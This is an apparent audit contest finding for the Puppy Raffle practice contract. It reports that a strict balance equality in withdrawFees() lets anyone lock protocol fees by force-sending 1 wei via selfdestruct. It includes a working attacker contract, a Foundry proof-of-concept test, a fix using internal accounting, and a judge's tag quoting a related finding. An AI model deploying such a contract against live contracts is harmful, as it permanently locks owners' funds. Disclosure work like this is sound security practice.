Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Strict Balance Check in withdrawFees() Enables Permanent DoS via selfdestruct

Root + Impact

Description

  • withdrawFees() at PuppyRaffle.sol:158 uses strict equality to verify no players are active:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
  • An attacker can permanently break this check by force-sending ETH to the contract via selfdestruct. The selfdestruct opcode bypasses all receive() and fallback() functions, forcefully increasing the contract's balance. Once balance > totalFees, the strict equality never holds again, and all accumulated protocol fees are permanently locked.

  • Attack cost: 1 wei + gas (negligible).

Risk

Likelihood:

  • Trivially exploitable — any address can deploy and selfdestruct a contract with 1 wei directed at PuppyRaffle

  • No permissions required, no timing constraints

Impact:

  • All accumulated protocol fees locked permanently in the contract

  • The feeAddress (protocol owner) can never withdraw fees

  • Combined with H-003 (integer overflow), this creates a doubly-locked state

Proof of Concept

How the attack works:

  1. The protocol completes a raffle round via selectWinner(), accumulating fees in totalFees — at this point address(this).balance == uint256(totalFees) holds

  2. An attacker deploys a minimal contract with a selfdestruct(payable(puppyRaffleAddress)) function, funded with just 1 wei

  3. The selfdestruct opcode forcefully sends the 1 wei to PuppyRaffle, bypassing all receive()/fallback() logic — the contract's balance increases but totalFees does not

  4. Now address(this).balance > uint256(totalFees), and the strict == check in withdrawFees() permanently fails, locking all protocol fees

PoC code:

contract SelfDestructAttacker {
function attack(address target) external payable {
selfdestruct(payable(target));
}
}
function testExploit_SelfDestruct_WithdrawFeesDoS() public {
// Enter 4 players and complete raffle
address[] memory players = new address[](4);
players[0] = playerOne; players[1] = playerTwo;
players[2] = playerThree; players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
// Attacker force-sends 1 wei via selfdestruct
SelfDestructAttacker attacker = new SelfDestructAttacker();
vm.deal(address(attacker), 1 wei);
attacker.attack{value: 1 wei}(address(puppyRaffle));
// balance != totalFees -> withdrawFees() permanently reverts
assertGt(address(puppyRaffle).balance, uint256(puppyRaffle.totalFees()));
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
// forge test --match-test testExploit_SelfDestruct_WithdrawFeesDoS -vvv
// Result: PASS — 1 wei force-sent, withdrawFees() permanently locked

Expected outcome: After force-sending 1 wei via selfdestruct, the strict equality address(this).balance == uint256(totalFees) never holds again, permanently locking all accumulated protocol fees in the contract.

Recommended Mitigation

The root cause is that withdrawFees() uses a strict equality check (address(this).balance == uint256(totalFees)) to verify no player funds remain. This check is inherently fragile because Ethereum allows ETH to be force-sent to any contract via selfdestruct, coinbase rewards, or pre-funded addresses — none of which update totalFees. The fix must remove any dependency on address(this).balance for authorization logic.

Primary fix — Use internal accounting exclusively:

function withdrawFees() external onlyOwner {
// Rely solely on internal state — immune to external balance manipulation
uint256 feesToWithdraw = totalFees;
require(feesToWithdraw > 0, "PuppyRaffle: No fees to withdraw");
// CEI pattern: update state before external call
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Why this works:

  • The function withdraws exactly totalFees worth of ETH — the amount tracked by internal accounting. It never compares against address(this).balance, so force-sent ETH has zero effect on the function's ability to execute.

  • The CEI pattern (totalFees = 0 before the external call) prevents reentrancy on the withdrawal itself.

  • Any excess ETH in the contract (from selfdestruct or other sources) simply remains as a surplus and doesn't block legitimate fee withdrawals.

Note on selfdestruct deprecation: As of EIP-6780 (Dencun upgrade, March 2024), selfdestruct only transfers ETH without destroying the contract (unless called in the same transaction as creation). However, force-sending ETH is still possible, so the strict equality check remains vulnerable. The internal-accounting approach is the only reliable pattern.

Invariant: After the fix, the following should always hold: address(this).balance >= totalFees + (activePlayerCount * entranceFee). Any surplus is from force-sent ETH and does not affect protocol logic.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!